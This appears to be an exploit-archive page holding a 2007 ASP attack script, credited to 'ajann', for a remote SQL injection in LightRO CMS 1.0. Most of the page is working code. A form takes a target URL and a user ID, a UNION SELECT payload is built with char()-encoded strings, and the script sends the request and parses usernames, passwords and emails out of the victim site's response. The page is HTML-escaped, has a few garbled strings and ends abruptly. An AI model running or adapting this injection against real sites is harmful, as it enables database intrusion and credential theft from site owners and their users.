LightRO CMS 1.0 (index.php projectid) Remote SQL Injection Exploit

🗓️ 09 Feb 2007 00:00:00Reported by RootType
LightRO CMS 1.0 Remote SQL Injection Exploi

                                                &lt;%&nbsp;Response.Buffer&nbsp;=&nbsp;True&nbsp;%&gt;
&lt;%&nbsp;On&nbsp;Error&nbsp;Resume&nbsp;Next&nbsp;%&gt;
&lt;%&nbsp;Server.ScriptTimeout&nbsp;=&nbsp;100&nbsp;%&gt;

&lt;%
'===============================================================================================
'[Script&nbsp;Name:&nbsp;LightRO&nbsp;CMS&nbsp;1.0&nbsp;(index.php&nbsp;projectid)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit
'[Coded&nbsp;by&nbsp;&nbsp;&nbsp;:&nbsp;ajann
'[Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;ajann
'[Contact&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;:(
'[S.Page&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.lightro.de.tc/
'[ExploitName:&nbsp;exploit2.asp

'[Note&nbsp;&nbsp;:&nbsp;exploit&nbsp;file&nbsp;name&nbsp;=&gt;exploit2.asp
'[Update:&nbsp;+&nbsp;Get&nbsp;Header
'[Update:&nbsp;+&nbsp;Get&nbsp;Whois&nbsp;Info
'===============================================================================================

%&gt;

&lt;%

title=&quot;LightRO&nbsp;CMS&nbsp;1.0&nbsp;(index.php&nbsp;projectid)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Exploit&quot;&nbsp;'Vuln&nbsp;Title

%&gt;
&lt;html&gt;
&lt;title&gt;&lt;%&nbsp;=&nbsp;title&nbsp;%&gt;&lt;/title&gt;
&lt;head&gt;
&lt;meta&nbsp;name=&quot;generator&quot;&nbsp;content=&quot;Microsoft&nbsp;FrontPage&nbsp;5.0&quot;&gt;

&lt;script&nbsp;language=&quot;JavaScript&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;function&nbsp;functionControl1(){&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setTimeout(&quot;functionControl2()&quot;,2000);&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;
&nbsp;&nbsp;
&nbsp;&nbsp;function&nbsp;functionControl2(){&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(document.form1.field1.value==&quot;&quot;){&nbsp;&nbsp;
&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&quot;[Exploit&nbsp;Failed]=&gt;The&nbsp;Username&nbsp;and&nbsp;Password&nbsp;Didnt&nbsp;Take,Try&nbsp;Again&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;function&nbsp;writetext()&nbsp;{

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(document.form1.field1.value==&quot;&quot;){
document.getElementById('htmlAlani').innerHTML='&lt;font&nbsp;face=\&quot;Verdana\&quot;&nbsp;size=\&quot;1\&quot;&nbsp;color=\&quot;#008000\&quot;&gt;There&nbsp;is&nbsp;a&nbsp;problem...&nbsp;The&nbsp;Data&nbsp;Didn\'t&nbsp;Take&nbsp;&lt;/font&gt;'

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;function&nbsp;write(){&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setTimeout(&quot;writetext()&quot;,1000);&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;
&nbsp;&nbsp;
&lt;/script&gt;


&lt;/head&gt;
&lt;body&nbsp;bgcolor=&quot;#000000&quot;&nbsp;link=&quot;#008000&quot;&nbsp;vlink=&quot;#008000&quot;&nbsp;alink=&quot;#008000&quot;&gt;

&lt;center&gt;
&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#008000&quot;&gt;&lt;b&gt;&lt;a&nbsp;href=&quot;exploit2.asp&quot;&gt;&lt;u&gt;&lt;%&nbsp;=&nbsp;title&nbsp;%&gt;
&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;
&lt;table&nbsp;border=&quot;1&quot;&nbsp;cellpadding=&quot;0&quot;&nbsp;cellspacing=&quot;0&quot;&nbsp;style=&quot;border-collapse:&nbsp;collapse&quot;&nbsp;width=&quot;35%&quot;&nbsp;id=&quot;AutoNumber1&quot;&nbsp;bordercolorlight=&quot;#808080&quot;&nbsp;bordercolordark=&quot;#008000&quot;&nbsp;bordercolor=&quot;#808080&quot;&gt;
&nbsp;&nbsp;&lt;tr&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;50%&quot;&nbsp;bgcolor=&quot;#808000&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='#808080';&quot;&nbsp;onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;font&nbsp;face=&quot;Arial&quot;&nbsp;size=&quot;1&quot;&gt;&lt;b&gt;&lt;font&nbsp;color=&quot;#FFFFFF&quot;&gt;TARGET:&lt;/font&gt;Example:[http://x.com/path]&lt;/b&gt;&lt;/font&gt;&lt;p&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;face=&quot;Arial&quot;&nbsp;size=&quot;1&quot;&nbsp;color=&quot;#FFFFFF&quot;&gt;USER&nbsp;ID:&lt;/font&gt;&lt;/b&gt;&lt;font&nbsp;face=&quot;Arial&quot;&nbsp;size=&quot;1&quot;&gt;&lt;b&gt;Example:[User&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;ID=1]&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&nbsp;&nbsp;&lt;/td&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;50%&quot;&gt;
&nbsp;&lt;center&gt;
&lt;form&nbsp;method=&quot;post&quot;&nbsp;name=&quot;form1&quot;&nbsp;action=&quot;exploit2.asp?islem=get&quot;&gt;
&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;text1&quot;&nbsp;value=&quot;http://&quot;&nbsp;size=&quot;25&quot;&nbsp;style=&quot;background-color:&nbsp;#808080&quot;&gt;&lt;br&gt;&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;id&quot;&nbsp;value=&quot;10&quot;&nbsp;size=&quot;25&quot;&nbsp;style=&quot;background-color:&nbsp;#808080&quot;&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Get&quot;&gt;&lt;/form&gt;&lt;/center&gt;&lt;/td&gt;
&nbsp;&nbsp;&lt;/tr&gt;

&lt;/table&gt;

&lt;div&nbsp;id=htmlAlani&gt;&lt;/div&gt;

&lt;%
islem&nbsp;=&nbsp;Request.QueryString(&quot;islem&quot;)&nbsp;&nbsp;&nbsp;&nbsp;

If&nbsp;islem&nbsp;=&nbsp;&quot;hata1&quot;&nbsp;Then&nbsp;
Response.Write&nbsp;&quot;&lt;font&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#008000&quot;&quot;&gt;There&nbsp;is&nbsp;a&nbsp;problem!&nbsp;Please&nbsp;complete&nbsp;to&nbsp;the&nbsp;whole&nbsp;spaces&lt;/font&gt;&quot;
End&nbsp;If

If&nbsp;islem&nbsp;=&nbsp;&quot;hata2&quot;&nbsp;Then&nbsp;
Response.Write&nbsp;&quot;&lt;font&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#008000&quot;&quot;&gt;There&nbsp;is&nbsp;a&nbsp;problem!&nbsp;Please&nbsp;right&nbsp;character&nbsp;use&lt;/font&gt;&quot;
End&nbsp;If

If&nbsp;islem&nbsp;=&nbsp;&quot;hata3&quot;&nbsp;Then&nbsp;
Response.Write&nbsp;&quot;&lt;font&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#008000&quot;&quot;&gt;There&nbsp;is&nbsp;a&nbsp;problem!&nbsp;Add&nbsp;&quot;&quot;http://&quot;&quot;&lt;/font&gt;&quot;
End&nbsp;If

If&nbsp;islem&nbsp;=&nbsp;&quot;hata4&quot;&nbsp;Then&nbsp;
Response.Write&nbsp;&quot;&lt;font&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#008000&quot;&quot;&gt;There&nbsp;is&nbsp;a&nbsp;problem!&nbsp;Just&nbsp;Numeric&nbsp;Character!&lt;/font&gt;&quot;
End&nbsp;If

%&gt;

&lt;%&nbsp;&nbsp;

If&nbsp;islem&nbsp;=&nbsp;&quot;get&quot;&nbsp;Then

id=&nbsp;Request.Form(&quot;id&quot;)

file=&quot;index.php?section=projects&amp;ID=&quot;
sql=&quot;-1'%20union%20select%200,1,6,7,8,9,2,3,4,5,10&quot;
sql1=&quot;,concat(char(85,115,101,114,110,9&quot;
sql2=&quot;7,109,101,58),name,char(32),char(80,97,&quot;
sql3=&quot;115,115,119,111,114,100,58),password&quot;
sql4=&quot;),concat(char(101,109,97,105,108,58),email),1&quot;
sql5=&quot;3,14,1,5,3,4,29%20from%20users%20where%20ID=&quot;
sql6=id
sql7=&quot;/*&quot;


idform&nbsp;=&nbsp;Request.Form(&quot;id&quot;)
targettext&nbsp;=&nbsp;Request.Form(&quot;text1&quot;)
arama=InStr(1,&nbsp;targettext,&nbsp;&quot;union&quot;&nbsp;,1)
arama2=InStr(1,&nbsp;targettext,&nbsp;&quot;http://&quot;&nbsp;,1)

If&nbsp;targettext=&quot;&quot;&nbsp;Then
Response.Redirect(&quot;exploit2.asp?islem=hata1&quot;)

Else
If&nbsp;arama&gt;0&nbsp;then&nbsp;
Response.Redirect(&quot;exploit2.asp?islem=hata2&quot;)

Else
If&nbsp;arama2=0&nbsp;then&nbsp;
Response.Redirect(&quot;exploit2.asp?islem=hata3&quot;)

Else
IF&nbsp;Not&nbsp;IsNumeric(idform)&nbsp;Then
Response.Redirect(&quot;exploit2.asp?islem=hata4&quot;)

Else
%&gt;&nbsp;

&lt;%

target1&nbsp;=&nbsp;targettext+file+sql+sql1+sql2+sql3+sql4+sql5+sql6+sql7

Public&nbsp;Function&nbsp;take(come)
Set&nbsp;objtake&nbsp;=&nbsp;Server.CreateObject(&quot;Microsoft.XMLHTTP&quot;&nbsp;)
With&nbsp;objtake
&nbsp;&nbsp;.Open&nbsp;&quot;GET&quot;&nbsp;,&nbsp;come,&nbsp;FALSE
&nbsp;&nbsp;.sEnd
&nbsp;&nbsp;
take&nbsp;=&nbsp;&nbsp;.Responsetext
End&nbsp;With
SET&nbsp;objtake&nbsp;=&nbsp;Nothing
End&nbsp;Function


get_username&nbsp;=&nbsp;take(target1)

getdata=InStr(get_username,&quot;0&nbsp;&nbsp;0/&quot;&nbsp;)
username=Mid(get_username,getdata+5,90)

Dim&nbsp;metin
metin&nbsp;=&nbsp;take(target1)&nbsp;&nbsp;

Dim&nbsp;objReg
Set&nbsp;objReg&nbsp;=&nbsp;New&nbsp;RegExp
objReg.Global&nbsp;=&nbsp;False
objReg.IgnoreCase&nbsp;=&nbsp;True

objReg.Pattern&nbsp;=&nbsp;&quot;Username:[A-Za-z0-9?ss&quot;
Dim&nbsp;calistir,&nbsp;istediginString
Set&nbsp;calistir&nbsp;=&nbsp;objReg.Execute(metin)


If&nbsp;calistir.Count&nbsp;=&nbsp;0&nbsp;Then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.write&nbsp;&quot;Not&nbsp;True&quot;
Else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;basusername&nbsp;=&nbsp;Replace(calistir.Item(0),&nbsp;&quot;Username:&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;basusername&nbsp;=&nbsp;Replace(basusername,&nbsp;&quot;&nbsp;Pass&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)



&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReg.Pattern&nbsp;=&nbsp;&quot;Password:[A-Za-z0-9?;/td&gt;&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;calistir&nbsp;=&nbsp;objReg.Execute(metin)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;baspassword&nbsp;=&nbsp;Replace(calistir.Item(0),&nbsp;&quot;Password:&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;baspassword&nbsp;=&nbsp;Replace(baspassword,&nbsp;&quot;&lt;/td&gt;&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objReg.Pattern&nbsp;=&nbsp;&quot;email:[A-Za-z0-9@.]+&lt;/td&gt;&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;calistir&nbsp;=&nbsp;objReg.Execute(metin)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;basemail&nbsp;=&nbsp;Replace(calistir.Item(0),&nbsp;&quot;email:&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;basemail&nbsp;=&nbsp;Replace(basemail,&nbsp;&quot;&lt;/td&gt;&quot;&nbsp;,&nbsp;&quot;&quot;&nbsp;)

End&nbsp;If&nbsp;&nbsp;


&nbsp;
Set&nbsp;bulunanlar&nbsp;=&nbsp;Nothing
Set&nbsp;objReg&nbsp;=&nbsp;Nothing

%&gt;

&lt;center&gt;
&lt;font&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&nbsp;color=&quot;#008000&quot;&gt;&nbsp;&lt;u&gt;&lt;b&gt;
ajann&lt;br&gt;&lt;/b&gt;&lt;/u&gt;&lt;/font&gt;&lt;br&gt;

&lt;table&nbsp;border=&quot;1&quot;&nbsp;cellpadding=&quot;0&quot;&nbsp;cellspacing=&quot;0&quot;&nbsp;style=&quot;border-collapse:&nbsp;collapse&quot;&nbsp;width=&quot;35%&quot;&nbsp;id=&quot;AutoNumber1&quot;&nbsp;bordercolorlight=&quot;#808080&quot;&nbsp;bordercolordark=&quot;#008000&quot;&nbsp;bordercolor=&quot;#808080&quot;&gt;
&nbsp;&nbsp;&lt;tr&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;50%&quot;&nbsp;bgcolor=&quot;#808000&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='#808080';&quot;&nbsp;onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Arial&quot;&gt;Username:&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;80%&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;font&nbsp;color=&quot;#C0C0C0&quot;&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Verdana&quot;&gt;&lt;%=basusername%&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&nbsp;&lt;/td&gt;
&nbsp;&nbsp;&lt;/tr&gt;

&nbsp;&nbsp;&lt;tr&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;50%&quot;&nbsp;bgcolor=&quot;#808000&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='#808080';&quot;&nbsp;onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Arial&quot;&gt;Password:&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;80%&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;font&nbsp;color=&quot;#C0C0C0&quot;&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Verdana&quot;&gt;&lt;%=baspassword%&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&nbsp;&lt;/td&gt;
&nbsp;&nbsp;&lt;/tr&gt;

&nbsp;&lt;tr&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;50%&quot;&nbsp;bgcolor=&quot;#808000&quot;&nbsp;onmouseover=&quot;javascript:this.style.background='#808080';&quot;&nbsp;onmouseout=&quot;javascript:this.style.background='#808000';&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;b&gt;&lt;font&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Arial&quot;&gt;Email:&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&nbsp;width=&quot;80%&quot;&gt;
&amp;nbsp;&lt;b&gt;&lt;font&nbsp;color=&quot;#C0C0C0&quot;&nbsp;size=&quot;2&quot;&nbsp;face=&quot;Verdana&quot;&gt;&lt;%=basemail%&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;
&nbsp;&lt;/td&gt;
&nbsp;&nbsp;&lt;/tr&gt;

&lt;/table&gt;
&lt;/center&gt;&nbsp;

&nbsp;&nbsp;&lt;br&gt;


&lt;%
hedef&nbsp;=&nbsp;targettext
Dim&nbsp;objem
Set&nbsp;objem&nbsp;=&nbsp;Server.CreateObject(&quot;MSXML2.ServerXMLHTTP&quot;)
objem.Open&nbsp;&quot;GET&quot;&nbsp;,&nbsp;hedef&nbsp;,&nbsp;false

objem.sEnd

strHTML&nbsp;=&nbsp;objem.ResponseText

header=objem.getallResponseheaders()
Response.Write&nbsp;&quot;&lt;center&gt;&quot;
Response.Write&nbsp;&quot;&lt;b&gt;&quot;
Response.Write&nbsp;&quot;&lt;p&gt;&lt;font&nbsp;color=&quot;&quot;#008000&quot;&quot;&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;2&quot;&quot;&gt;Header&nbsp;Bilgileri&lt;/font&gt;&lt;/p&gt;&quot;
Response.Write&nbsp;&quot;&lt;/b&gt;&quot;
Response.Write&nbsp;&quot;&lt;p&gt;&lt;font&nbsp;color=&quot;&quot;#008000&quot;&quot;&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;2&quot;&quot;&gt;&quot;&nbsp;&amp;&nbsp;header&nbsp;&amp;&nbsp;&quot;&lt;/font&gt;&lt;/p&gt;&quot;
Response.Write&nbsp;&quot;&lt;p&gt;&lt;font&nbsp;color=&quot;&quot;#008000&quot;&quot;&nbsp;face=&quot;&quot;Verdana&quot;&quot;&nbsp;size=&quot;&quot;2&quot;&quot;&gt;&lt;b&gt;Whois&lt;/b&gt;&lt;/font&gt;&lt;/p&gt;&quot;
Response.Write&nbsp;&quot;&lt;p&gt;&lt;font&nbsp;size=&quot;&quot;2&quot;&quot;&nbsp;color=&quot;&quot;#008000&quot;&quot;&gt;Site:&lt;/font&gt;&lt;font&nbsp;color=&quot;&quot;#008000&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&gt;[google.com]&lt;/font&gt;&lt;/p&gt;&quot;
Response.Write&nbsp;&quot;&lt;/center&gt;&quot;
Set&nbsp;objem=Nothing

%&gt;

&lt;center&gt;&lt;form&nbsp;method=&quot;post&quot;&nbsp;name=&quot;form2&quot;&nbsp;action=&quot;exploit2.asp?islem=whois&quot;&gt;
&nbsp;&nbsp;&lt;p&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;whoissite&quot;&nbsp;size=&quot;20&quot;&nbsp;value=&quot;domainwhois&quot;&nbsp;style=&quot;font-family:&nbsp;Verdana;&nbsp;font-size:&nbsp;10pt;&nbsp;color:&nbsp;#008000;&nbsp;border:&nbsp;1px&nbsp;dashed&nbsp;#008000;&nbsp;background-color:&nbsp;#000000&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Yolla&quot;&nbsp;name=&quot;B1&quot;&gt;&lt;/p&gt;
&lt;/form&gt;&lt;/center&gt;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;br&gt;


&lt;form&nbsp;method=&quot;POST&quot;&nbsp;name=&quot;form2&quot;&nbsp;action=&quot;#&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;field1&quot;&nbsp;size=&quot;20&quot;&nbsp;value=&quot;sdfsd&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;/form&gt;&nbsp;


&lt;script&nbsp;language=&quot;JavaScript&quot;&gt;
write()
functionControl1()
&lt;/script&gt;

&lt;/b&gt;&lt;/font&gt;

&lt;/body&gt;
&lt;/html&gt;

&lt;%
End&nbsp;If
End&nbsp;If
End&nbsp;If
End&nbsp;If
End&nbsp;If

%&gt;


&lt;%
If&nbsp;islem&nbsp;=&nbsp;&quot;whois&quot;&nbsp;Then
site&nbsp;=&nbsp;Request.Form(&quot;whoissite&quot;)
target1&nbsp;=&nbsp;&quot;http://reports.internic.net/cgi/whois?whois_nic=&quot;&nbsp;&amp;&nbsp;site&nbsp;&amp;&nbsp;&quot;&amp;type=domain&quot;

Public&nbsp;Function&nbsp;take(come)
Set&nbsp;objtake&nbsp;=&nbsp;Server.CreateObject(&quot;Microsoft.XMLHTTP&quot;&nbsp;)
With&nbsp;objtake
&nbsp;&nbsp;.Open&nbsp;&quot;GET&quot;&nbsp;,&nbsp;come,&nbsp;FALSE
&nbsp;&nbsp;.sEnd
take&nbsp;=&nbsp;&nbsp;.Responsetext
End&nbsp;With
Set&nbsp;objtake&nbsp;=&nbsp;Nothing
End&nbsp;Function

remoteadres=take(target1)

dim&nbsp;baslangic&nbsp;,&nbsp;bitis
baslangic&nbsp;=&nbsp;&quot;&lt;pre&gt;&quot;
bitis&nbsp;=&nbsp;&quot;&lt;/pre&gt;&quot;
dim&nbsp;x&nbsp;,&nbsp;abc
x&nbsp;=&nbsp;0
abc&nbsp;=&nbsp;0
dim&nbsp;sonuc
sonuc&nbsp;=&nbsp;&quot;&quot;

Do&nbsp;Until&nbsp;abc&nbsp;=&nbsp;2
x&nbsp;=&nbsp;x&nbsp;+&nbsp;1
If&nbsp;Mid(remoteadres,x,Len(bitis))&nbsp;=&nbsp;bitis&nbsp;and&nbsp;abc&nbsp;=&nbsp;1&nbsp;Then
abc&nbsp;=&nbsp;abc&nbsp;+&nbsp;1
End&nbsp;If
If&nbsp;Mid(remoteadres,x,Len(baslangic))&nbsp;=&nbsp;baslangic&nbsp;Then
abc&nbsp;=&nbsp;abc&nbsp;+&nbsp;1
Else
If&nbsp;abc&nbsp;=&nbsp;1&nbsp;Then
sonuc&nbsp;=&nbsp;sonuc&nbsp;+&nbsp;Mid(remoteadres,x,1)
End&nbsp;If
End&nbsp;If
Loop

Set&nbsp;objtake=Nothing
&nbsp;
%&gt;

&lt;center&gt;
&lt;b&gt;&lt;font&nbsp;color=&quot;#008000&quot;&nbsp;face=&quot;Verdana&quot;&nbsp;size=&quot;2&quot;&gt;Whois&nbsp;Bilgileri&lt;/font&gt;&lt;/b&gt;&lt;p&gt;
&lt;textarea&nbsp;rows=&quot;20&quot;&nbsp;name=&quot;S1&quot;&nbsp;cols=&quot;68&quot;&nbsp;style=&quot;font-family:&nbsp;Verdana;&nbsp;font-size:&nbsp;10pt;&nbsp;color:&nbsp;#008000;&nbsp;border:&nbsp;1px&nbsp;dotted&nbsp;#008000;&nbsp;background-color:&nbsp;#000000&quot;&gt;
&lt;%&nbsp;Response.Write&nbsp;&quot;&lt;&quot;&nbsp;&amp;&nbsp;sonuc&nbsp;%&gt;
&lt;/textarea&gt;
&lt;/p&gt;
&lt;/center&gt;

&lt;center&gt;&lt;form&nbsp;method=&quot;post&quot;&nbsp;name=&quot;form2&quot;&nbsp;action=&quot;exploit2.asp?islem=whois&quot;&gt;
&nbsp;&nbsp;&lt;p&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;text&quot;&nbsp;name=&quot;whoissite&quot;&nbsp;size=&quot;20&quot;&nbsp;value=&quot;domainwhois&quot;&nbsp;style=&quot;font-family:&nbsp;Verdana;&nbsp;font-size:&nbsp;10pt;&nbsp;color:&nbsp;#008000;&nbsp;border:&nbsp;1px&nbsp;dashed&nbsp;#008000;&nbsp;background-color:&nbsp;#000000&quot;&gt;
&nbsp;&nbsp;&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;Yolla&quot;&nbsp;name=&quot;B1&quot;&gt;&lt;/p&gt;
&lt;/form&gt;&lt;/center&gt;



&lt;%
End&nbsp;If
%&gt;

&lt;%
Response.Write&nbsp;&quot;&lt;br&gt;&quot;
Response.Write&nbsp;&quot;&lt;center&gt;&quot;
Response.Write&nbsp;&quot;&lt;pre&nbsp;class=&quot;&quot;info&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;&lt;font&nbsp;color=&quot;&quot;#C0C0C0&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;En&nbsp;iyi&nbsp;&quot;
Response.Write&nbsp;&quot;&lt;/font&gt;&quot;
Response.Write&nbsp;&quot;&lt;font&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#808080&quot;&quot;&gt;&lt;span&nbsp;class=&quot;&quot;info2&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;1152x864&nbsp;&quot;
Response.Write&nbsp;&quot;&lt;/span&gt;&lt;/font&gt;&quot;
Response.Write&nbsp;&quot;&lt;font&nbsp;color=&quot;&quot;#C0C0C0&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&gt;綺?k&nbsp;ve&nbsp;&quot;
Response.Write&nbsp;&quot;&lt;span&nbsp;class=&quot;&quot;info2&quot;&quot;&gt;&lt;font&nbsp;size=&quot;&quot;1&quot;&quot;&nbsp;color=&quot;&quot;#808080&quot;&quot;&gt;Firefox&nbsp;&lt;/font&gt;&lt;/span&gt;&quot;
Response.Write&nbsp;&quot;ile&nbsp;g?t?ilir.&lt;/font&gt;&lt;/pre&gt;&quot;

Response.Write&nbsp;&quot;&lt;pre&nbsp;class=&quot;&quot;info&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;&lt;font&nbsp;color=&quot;&quot;#C0C0C0&quot;&quot;&nbsp;size=&quot;&quot;1&quot;&quot;&gt;&quot;
Response.Write&nbsp;&quot;Exploit&nbsp;coded&nbsp;by&nbsp;&quot;
Response.Write&nbsp;&quot;&lt;/font&gt;&quot;
